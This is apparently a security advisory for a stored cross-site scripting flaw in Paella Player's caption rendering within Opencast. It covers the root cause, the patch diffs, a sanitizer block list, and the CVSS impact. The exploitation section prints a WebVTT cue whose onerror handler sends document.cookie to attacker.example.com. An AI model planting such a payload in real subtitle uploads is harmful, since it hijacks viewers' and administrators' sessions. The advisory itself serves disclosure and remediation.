CVE-2026-77615: Stored Cross-Site Scripting (XSS) in Paella Player as used in Opencast

Paella Player is an open-source, multi-stream web player library designed to render multiple synchronized video feeds. Opencast, an enterprise-grade lecture capture platform, integrates Paella Player as its default front-end viewer. The platform supports subtitle file uploads in WebVTT and DFXP formats to enhance user accessibility.\n\nThe vulnerability, designated as CVE-2026-77615, stems from improper validation of subtitle cue files. A malicious actor with access to upload files can inject arbitrary scripts into subtitle tracks. When a viewer plays the video and enables captions, the application executes the injected code in the viewer's browser.\n\nThis behavior matches the classic model of Stored Cross-Site Scripting (CWE-79). The attack surface resides entirely on the client-side parsing and rendering routines of the player library. Because Opencast hosts the media and player on its own domain, the script runs with full authorization privileges on that origin.

The root cause of this vulnerability lies in the client-side Javascript logic used to parse and draw captions. Specifically, the software handles closed caption objects by extracting strings and inserting them via the browser's dynamic DOM parser.\n\nWithin CaptionsCanvas.js, the code iterates over the text lines of active subtitles. Rather than treating these values as static strings, the developer utilized the innerHTML assignment operator to perform concatenation. This operator instructs the rendering engine to interpret the string value as live HTML elements.\n\nA secondary vulnerability exists in the DFXP subtitle format parsing code within DFXPParser.js. The parser extracts nodes using p.innerHTML, which preserves any nested tags. Passing these structures down to the CaptionsCanvas pipeline creates multiple vector pathways for script execution.

To understand the exact flaws, we can examine the vulnerable code blocks beside their remediated counterparts. The primary fix targets the dynamic insertion loop inside CaptionsCanvas.ts and changes how DOM child elements are constructed.\n\nBefore the patch, the application parsed and evaluated strings directly using the addition assignment operator: this._captionsContainer.innerHTML += c. This instruction enabled the loading of arbitrary script handlers like onload or onerror attached to dummy tags.\n\ntypescript\n// Vulnerable Implementation\ncue && cue.captions.forEach(c => {\n this._captionsContainer.innerHTML += c;\n this._captionsContainer.innerHTML += '<br/>';\n});\n\n\nThe fix replaces this pattern entirely with standard DOM manipulation methods. The engine now uses document.createTextNode() to append the cue string. This interface treats the content strictly as text, rendering brackets and special characters as visual literals.\n\ntypescript\n// Remediation Patch\ncue && cue.captions.forEach(c => {\n this._captionsContainer.appendChild(document.createTextNode(c));\n this._captionsContainer.appendChild(document.createElement('br'));\n});\n\n\nThe DFXP parser was updated similarly, changing the source extraction from p.innerHTML to p.textContent to strip nested markup elements immediately. This multi-layered update effectively seals the unsafe rendering sinks.

In addition to using text node insertions, the maintainers implemented a custom sanitization function called sanitizeHtml within the paella-core library. This function attempts to parse the caption string inside an inert template element and strip out forbidden components.\n\njavascript\nconst FORBIDDEN_ELEMENTS = ['script', 'iframe', 'object', 'embed', 'base', 'meta', 'link'];\nconst URL_ATTRIBUTES = ['href', 'xlink:href', 'src', 'action', 'formaction', 'background', 'poster'];\nconst DANGEROUS_PROTOCOL = /^(?:javascript:|vbscript:|data:text\\/html)/i;\n\n\nWhile this sanitization script prevents straightforward inline execution vectors, custom filters are historically prone to bypasses. An attacker could potentially utilize mutation XSS (mXSS) techniques where differences in parsing contexts allow payloads to slip past the initial check. Additionally, the lack of an explicit attribute whitelist means elements can maintain standard properties that cause script execution or style injections under specific browser engines.\n\nSecurity engineers should treat this custom sanitizer as a secondary defense layer only. Implementations must rely primarily on the text-based parsing mechanisms introduced in the parallel player patch. For robust rendering requirements that demand HTML in subtitles, developers should replace the custom function with a thoroughly tested library like DOMPurify.

Exploiting this vulnerability requires two conditions: authorization to upload subtitle tracks and an active viewer target. The attacker first crafts a standard WebVTT subtitle track containing nested script tags.\n\nvtt\nWEBVTT\n\n00:00:01.000 --> 00:00:05.000\n<img src=\"x\" onerror=\"fetch('http://attacker.example.com/log?cookie=' + document.cookie)\">\n\n\nThe attacker uploads this payload through the Opencast media upload interface. The server stores the file and exposes it through the search manifest index. When the victim requests the corresponding video file, the front-end player retrieves the WebVTT file and evaluates the cue frame-by-frame.\n\nThe process flow is outlined below:\n\nmermaid\ngraph LR\n Attacker[\"Attacker (Instructor Role)\"] -->|Uploads WebVTT Subtitle| Opencast[\"Opencast Media Backend\"]\n Opencast -->|Exposes File Link| Manifest[\"Search Manifest (/search/episode.json)\"]\n Victim[\"Victim (Student / Admin)\"] -->|Loads Video Player| Player[\"Paella Player Component\"]\n Manifest -->|Delivers WebVTT Resource| Player\n Player -->|Injects Raw Cue into innerHTML| DOM[\"Victim Browser DOM\"]\n DOM -->|Triggers Script Execution| Exfil[\"Attacker Server (Credential Exfiltration)\"]\n\n\nOnce the player hits the timestamp of the malicious cue, the browser renders the payload. The Javascript executes within the security context of the Opencast application, gaining access to local storage, cookies, and active session tokens.

The vulnerability possesses a CVSS v3.1 base score of 8.7, indicating a high risk level. This calculation is based on the vector string: CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:H/I:H/A:N. This indicates that the vulnerability is network-exploitable with low privileges, requiring minor user interaction.\n\nBecause the scope is changed (S:C), the injected code can pivot from the client-side viewer and manipulate the hosting application interface. In Opencast environments, users with administrative roles regularly view lectures or review uploads. An attacker executing code within an administrator's browser can perform unauthorized actions via the REST API, including modifying system configuration or changing file access controls.\n\nThis risk is compounded by the typical multi-tenant setup of educational environments. A student or teaching assistant with low access levels can compromise the sessions of senior faculty or platform operators. The lack of prior input sanitation on the server side means these scripts remain stored indefinitely until the asset is deleted.